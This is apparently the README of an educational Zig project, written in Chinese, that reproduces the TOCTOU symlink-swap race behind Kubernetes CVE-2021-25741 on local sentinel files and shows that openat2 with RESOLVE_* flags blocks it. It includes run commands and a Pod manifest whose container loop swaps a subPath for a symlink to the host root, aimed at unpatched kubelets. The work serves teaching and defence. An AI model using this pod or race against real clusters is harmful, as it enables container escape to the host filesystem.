关于TOCTOU(检查时间,使用时间)竞态条件的教育性利用,它是CVE-2021-25741的根源,该漏洞存在于Kubernetes kubelet中。
该项目在本地(无需K8s集群)演示了并发符号链接交换如何能够绕过lstat()和open()之间的路径检查,并证明带有RESOLVE_*标志的openat2()是解决方案。
当内核解析像/a/b/c/file这样的路径时,它是逐个组件进行的。在每一步,如果该组件是一个符号链接,内核会自动跟随它。这种解析不是原子性的——文件系统可能在两个步骤之间发生变化。
Kubernetes kubelet恰好使用了这种易受攻击的模式:
1. 检查:lstat(subPath) → "这是一个目录,是安全的"
↕ 竞态窗口——容器内的进程将目录交换为符号链接
2. 使用:mount(subPath) → 跟随符号链接,挂载宿主文件系统
在检查与挂载之间,容器内的恶意进程可以将subPath替换为指向宿主/的符号链接,从而获得对宿主文件系统的完全访问权。
系统调用openat2(内核5.6+)以原子方式解析路径并打开文件,同时带有约束条件:
| Flag | 效果 |
|---|---|
使用openat2,没有TOCTOU窗口:如果在解析过程中出现符号链接,系统调用会立即失败。
两个线程协作利用TOCTOU窗口:
workdir/
├── legit_dir/
│ └── secret.txt → 包含"LEGIT"
├── symlink_target/
│ └── secret.txt → 包含"PWNED"
└── target/ → 在真实目录和符号链接之间切换
高速循环运行,并通过renameat2(RENAME_EXCHANGE)原子性地在两种状态之间切换target/:
target/是一个真实目录(包含secret.txt = "LEGIT")target/是一个指向symlink_target/的符号链接(包含secret.txt = "PWNED")每次交换仅一个系统调用 = 最大竞态窗口。
重现kubelet的脆弱模式:
fstatat("target", AT_SYMLINK_NOFOLLOW) — 检查是否为目录openat(dirfd, "target/secret.txt", O_RDONLY) — 打开文件read() — 读取内容"PWNED" → 竞态成功(符号链接被跟随)"LEGIT" → 竞态失败(确实是真实目录)在保护模式下(--use-openat2),步骤3使用带有RESOLVE_NO_SYMLINKS | RESOLVE_BENEATH的openat2。如果存在符号链接,内核返回ELOOP而非跟随它。
src/
├── main.zig # 入口点:解析CLI,创建共享状态,生成线程,
│ # 测量时间,显示结果
│
├── racer.zig # 竞态线程:准备初始状态(target → symlink),
│ # 然后循环使用renameat2(RENAME_EXCHANGE)不断交换
│ # target/和legit_dir/
│
├── victim.zig # 受害线程:循环N次 fstatat → delay →
│ # openat/openat2 → read → 比较 "LEGIT" vs "PWNED"
│
├── setup.zig # 创建测试目录结构:workdir/, legit_dir/,
│ # symlink_target/, target/及哨兵文件
│
├── syscalls.zig # 原始系统调用的常量和包装器:
│ # - open_how 结构体(内核UAPI,3×u64)
│ # - RESOLVE_* 标志
│ # - RENAME_EXCHANGE (= 2)
│ # - 通过 linux.syscall4(.openat2, ...) 调用 openat2()
│ # - 通过 linux.renameat2() 调用 rename_exchange()
│ # - 辅助函数:is_err(), to_errno(), to_fd()
│
└── stats.zig # 无锁原子计数器 (std.atomic.Value(u64))
# 用于 wins, losses, errors, eloop 及格式化输出
所有系统调用均直接通过std.os.linux.*调用(不使用std.fs或std.posix包装器)。在Zig 0.15标准库中唯一没有包装器的系统调用是openat2,我们通过linux.syscall4(.openat2, ...)调用,并手动根据内核UAPI头定义open_how结构体。
| 工具 | 版本 | 原因 |
|---|---|---|
| Zig | 0.15.x | 编译器 + 交叉编译 |
| Docker | 任意 |
该二进制文件编译为静态(musl libc),无依赖即可在任何Linux上运行。
最小内核:
renameat2(RENAME_EXCHANGE)RESOLVE_*的openat2(仅在--use-openat2时需要)Mac上的Docker Desktop和colima使用6.x内核——一切均支持。
# ARM64 (Mac M1/M2/M3 → Docker colima / EC2 ARM)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe
# x86_64 (针对x86节点)
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe
二进制文件位于zig-out/bin/race-exploit。
$ file zig-out/bin/race-exploit
ELF 64-bit LSB executable, ARM aarch64, statically linked
# 启动Docker运行时(如果使用macOS)
colima start
# 运行利用(默认易受攻击模式)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine /app/race-exploit --iterations 10000
# 易受攻击模式 (openat) — 竞态生效
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 10000
# 保护模式 (openat2) — 竞态被阻止
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 10000 --use-openat2
或者使用同时运行两者的脚本:
./scripts/run_in_docker.sh --iterations 10000
参数--delay-us在lstat(检查)和openat(使用)之间添加延迟。延迟越长,TOCTOU窗口越宽,获胜率越高:
# 无延迟 — 获胜率约25%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 50000
# 10µs — 获胜率约35%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 50000 --delay-us 10
# 100µs — 获胜率约50%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 50000 --delay-us 100
# 1000µs (1ms) — 获胜率约50%(已封顶,竞态线程切换更快)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 10000 --delay-us 1000
在真实的kubelet中,subPath检查与绑定挂载之间的延迟约为数毫秒(API调用、挂载命名空间准备等),这使得竞态在实际条件下非常可靠。
race-exploit [options]
--iterations N 尝试次数(默认: 10000)
--delay-us N lstat和open之间的微秒延迟(默认: 0)
--use-openat2 使用带有RESOLVE_*的openat2(保护模式)
--workdir PATH 工作目录(默认: /tmp/race-workdir)
--help 显示帮助
该利用不需要Kubernetes即可运行——它是一个基本的Linux竞态条件。但你可以在真实节点上运行,以在与kubelet相同的条件下测试。
# 为目标节点架构交叉编译
# ARM64(使用Graviton的EKS、使用T2A的GKE等)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe
# 或x86_64
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe
# 将二进制文件复制到节点
scp zig-out/bin/race-exploit user@node:/tmp/
# 在节点上运行
ssh user@node /tmp/race-exploit --iterations 50000 --delay-us 100
# 检查内核版本(>= 5.6 以支持openat2)
ssh user@node uname -r
创建一个包含二进制文件并运行它的Pod:
# race-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: race-exploit
spec:
containers:
- name: race
image: alpine:latest
command: ["/app/race-exploit"]
args: ["--iterations", "50000", "--delay-us", "100"]
volumeMounts:
- name: exploit-bin
mountPath: /app
volumes:
- name: exploit-bin
hostPath:
path: /tmp # 在此之前需将二进制文件复制到此处
restartPolicy: Never
# 先将二进制文件复制到节点
kubectl cp zig-out/bin/race-exploit <node>:/tmp/race-exploit
# 创建Pod
kubectl apply -f race-pod.yaml
kubectl logs race-exploit
要重现CVE-2021-25741的确切场景,需要在kubelet准备具有subPath的卷绑定挂载时利用竞态:
# vulnerable-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: subpath-race
spec:
containers:
- name: attacker
image: alpine:latest
command: ["/bin/sh", "-c"]
args:
- |
# 该脚本在容器内运行,并在kubelet准备挂载时切换subPath
while true; do
rm -rf /vol/subdir
ln -s / /vol/subdir
mkdir -p /vol/subdir
done
volumeMounts:
- name: shared-vol
mountPath: /vol
subPath: subdir # ← kubelet检查然后挂载此路径
volumes:
- name: shared-vol
emptyDir: {}
重要提示:此攻击仅适用于未打补丁的kubelet(版本 < 1.22.2, < 1.21.5, < 1.20.11)。较新的kubelet使用带有RESOLVE_NO_SYMLINKS的openat2来解析subPath。
要检查你的kubelet是否易受攻击:
# kubelet版本
kubectl get nodes -o wide
# 检查kubelet是否使用openat2(在节点上)
ssh user@node strace -f -e trace=openat2 -p $(pidof kubelet) 2>&1 | head -20
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode: openat (vulnerable)
Iterations: 10000
Delay: 0us
---
Results:
Total attempts: 3749
Race wins: 940 (25.07%)
Race losses: 2809 (74.93%)
Errors: 0 (0.00%)
Duration: 14ms
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode: openat2 (protected)
Iterations: 10000
Delay: 0us
---
Results:
Total attempts: 3105
Race wins: 0 (0.00%)
Race losses: 2283 (73.53%)
Errors: 0 (0.00%)
ELOOP (blocked): 822 (26.47%)
Duration: 12ms
关键观察:
lstat看到一个符号链接且未尝试open)openat模式下,约25%的尝试导致获胜(读取了"PWNED"文件)openat2模式下,0%获胜——每次竞态线程进行交换时,内核检测到并返回ELOOP该文件定义了Zig 0.15标准库中缺失的常量:
// renameat2(2) : 原子性交换两个文件系统条目
pub const RENAME_EXCHANGE: u32 = 2;
// openat2(2) : 传递给系统调用的结构体
pub const open_how = extern struct {
flags: u64 = 0, // O_RDONLY, O_WRONLY 等
mode: u64 = 0, // 权限(如果使用 O_CREAT)
resolve: u64 = 0, // RESOLVE_* 标志
};
// open_how.resolve 的解析标志
pub const RESOLVE_NO_SYMLINKS: u64 = 0x04; // 拒绝所有符号链接
pub const RESOLVE_BENEATH: u64 = 0x08; // 禁止上升到dirfd以上
openat2通过linux.syscall4(.openat2, ...)调用,因为Zig 0.15有系统调用号但没有包装器。
启动时,它将target/转换为指向symlink_target/的符号链接,然后循环执行两个renameat2(RENAME_EXCHANGE)来交换target和legit_dir:
迭代1: target=dir, legit_dir=symlink ← 受害者看到目录,正常打开
迭代2: target=symlink, legit_dir=dir ← 受害者跟随符号链接 → PWNED
重现lstat → delay → openat/openat2 → read → 比较。结果通过无锁原子计数器(fetchAdd,排序.monotonic)进行计数。
通过原始系统调用创建目录结构,使用mkdirat、openat(O_CREAT)和write。两个哨兵文件:真实目录中的"LEGIT",符号链接目标中的"PWNED"。
# 跟踪两个线程的所有系统调用
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
strace -f /app/race-exploit --iterations 100
# 过滤感兴趣的系统调用
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
strace -f -e trace=openat,renameat2,symlinkat,newfstatat \
/app/race-exploit --iterations 100
# 查看openat2的ELOOP
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
strace -f -e trace=openat2 \
/app/race-exploit --iterations 100 --use-openat2
注意:Alpine默认未安装strace。请使用alpine:edge或使用apk add strace安装:
docker run --rm -v $(pwd)/zig-out/bin:/app alpine:edge \
sh -c "apk add --no-cache strace && strace -f -e trace=openat,renameat2 /app/race-exploit --iterations 100"
RESOLVE_NO_SYMLINKS |
拒绝跟随任何符号链接 → 返回ELOOP |
RESOLVE_BENEATH | 拒绝超出基础目录 → 返回EXDEV |
RESOLVE_IN_ROOT | 将dirfd视为文件系统根目录 |
RESOLVE_NO_XDEV | 拒绝穿越挂载点 |
| 在Mac上运行Linux二进制文件 |
| colima | 任意 | macOS上的Docker运行时(或Docker Desktop) |
| 系统调用 | 在利用中的角色 | Zig封装 |
|---|
renameat2(RENAME_EXCHANGE) | 原子性交换 target ↔ legit_dir | linux.renameat2() |
fstatat(AT_SYMLINK_NOFOLLOW) | lstat:检查target是目录还是符号链接 | linux.fstatat() |
openat(O_RDONLY) | 打开文件,跟随符号链接(易受攻击) | linux.openat() |
openat2(RESOLVE_NO_SYMLINKS) | 打开文件,拒绝符号链接(修复) | linux.syscall4(.openat2, ...) |
symlinkat | 创建初始符号链接 target → symlink_target | linux.symlinkat() |
unlinkat | 在将target重新创建为符号链接前删除它 | linux.unlinkat() |
mkdirat | 创建测试目录 | linux.mkdirat() |
read / write / close | 哨兵文件的I/O | linux.read() / linux.write() / linux.close() |